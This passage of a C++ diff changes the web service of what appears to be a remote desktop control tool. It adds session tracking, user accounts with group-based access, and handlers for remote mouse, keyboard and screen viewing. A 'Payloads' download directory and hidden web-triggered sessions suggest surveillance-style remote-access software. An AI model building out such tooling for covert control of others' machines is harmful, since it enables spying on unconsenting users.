Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id);
}
}
CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) {
@@ -1299,6 +1834,26 @@ void CWebService::ClearWebTriggered(uint64_t device_id) {
m_WebTriggeredDevices.erase(device_id);
}
void CWebService::SetMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
m_MfcTriggeredDevices.insert(device_id);
}
bool CWebService::IsMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
return m_MfcTriggeredDevices.find(device_id) != m_MfcTriggeredDevices.end();
}
void CWebService::ClearMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
m_MfcTriggeredDevices.erase(device_id);
}
bool CWebService::HasActiveSession(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
return m_ScreenContexts.find(device_id) != m_ScreenContexts.end();
}
void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) {
if (!m_bRunning || m_bStopping) return;

View File

@@ -43,6 +43,7 @@ struct WebUser {
std::string password_hash; // SHA256(password + salt)
std::string salt;
std::string role; // "admin" | "viewer"
std::vector<std::string> allowed_groups; // Groups this user can view (empty = no access, admin = all)
};
// Device info for web clients
@@ -78,6 +79,12 @@ public:
// Set admin password (use master password)
void SetAdminPassword(const std::string& password);
// User management
bool CreateUser(const std::string& username, const std::string& password, const std::string& role,
const std::vector<std::string>& allowed_groups = {});
bool DeleteUser(const std::string& username);
std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...]
// Device management (called from main app)
void MarkDeviceOnline(uint64_t device_id);
void MarkDeviceOffline(uint64_t device_id);
@@ -91,6 +98,9 @@ public:
// Resolution change notification
void NotifyResolutionChange(uint64_t device_id, int width, int height);
// Cursor change notification (called from ScreenSpyDlg)
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
// Get count of web clients watching a device
int GetWebClientCount(uint64_t device_id);
@@ -111,9 +121,10 @@ private:
// Signaling handlers
void HandleLogin(void* ws_ptr, const std::string& msg, const std::string& client_ip);
void HandleGetSalt(void* ws_ptr, const std::string& msg);
void HandleGetDevices(void* ws_ptr, const std::string& token);
void HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id);
void HandleDisconnect(void* ws_ptr, const std::string& token);
void HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id = 0);
void HandlePing(void* ws_ptr, const std::string& token);
void HandleMouse(void* ws_ptr, const std::string& msg);
void HandleKey(void* ws_ptr, const std::string& msg);
@@ -135,12 +146,21 @@ private:
// JSON helpers
std::string BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg = "");
std::string BuildDeviceListJson();
std::string BuildDeviceListJson(const std::string& username = "");
// Password verification
bool VerifyPassword(const std::string& input, const WebUser& user);
std::string ComputeHash(const std::string& input);
// User management helpers
std::string GetUsersFilePath();
void LoadUsers();
void SaveUsers();
void HandleCreateUser(void* ws_ptr, const std::string& msg);
void HandleDeleteUser(void* ws_ptr, const std::string& msg);
void HandleListUsers(void* ws_ptr, const std::string& token);
void HandleGetGroups(void* ws_ptr, const std::string& token);
// Send to WebSocket
void SendText(void* ws_ptr, const std::string& text);
void SendBinary(void* ws_ptr, const uint8_t* data, size_t len);
@@ -181,6 +201,7 @@ private:
// User accounts (loaded from config)
std::vector<WebUser> m_Users;
std::mutex m_UsersMutex;
// Token secret key (generated on startup)
std::string m_SecretKey;
@@ -190,6 +211,7 @@ private:
int m_nTokenExpireSeconds;
bool m_bHideWebSessions; // Whether to hide web-triggered dialogs (default: true)
std::string m_PayloadsDir; // Directory for file downloads (Payloads/)
std::string m_ConfigDir; // Directory for config files (users.json, etc.)
// Web-triggered sessions (should be hidden)
std::set<uint64_t> m_WebTriggeredDevices;
@@ -205,6 +227,14 @@ public:
bool IsWebTriggered(uint64_t device_id);
void ClearWebTriggered(uint64_t device_id);
// MFC trigger management - MFC dialogs should always be visible
void SetMfcTriggered(uint64_t device_id);
bool IsMfcTriggered(uint64_t device_id);
void ClearMfcTriggered(uint64_t device_id);
// Check if a remote desktop session already exists for device
bool HasActiveSession(uint64_t device_id);
// Config accessors
void SetHideWebSessions(bool hide) { m_bHideWebSessions = hide; }
bool GetHideWebSessions() const { return m_bHideWebSessions; }
@@ -221,6 +251,10 @@ private:
// Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
std::mutex m_ScreenContextsMutex;
// MFC triggered devices: dialogs created by MFC should always be visible
std::set<uint64_t> m_MfcTriggeredDevices;
std::mutex m_MfcTriggeredMutex;
};
// Global accessor

Some files were not shown because too many files have changed in this diff Show More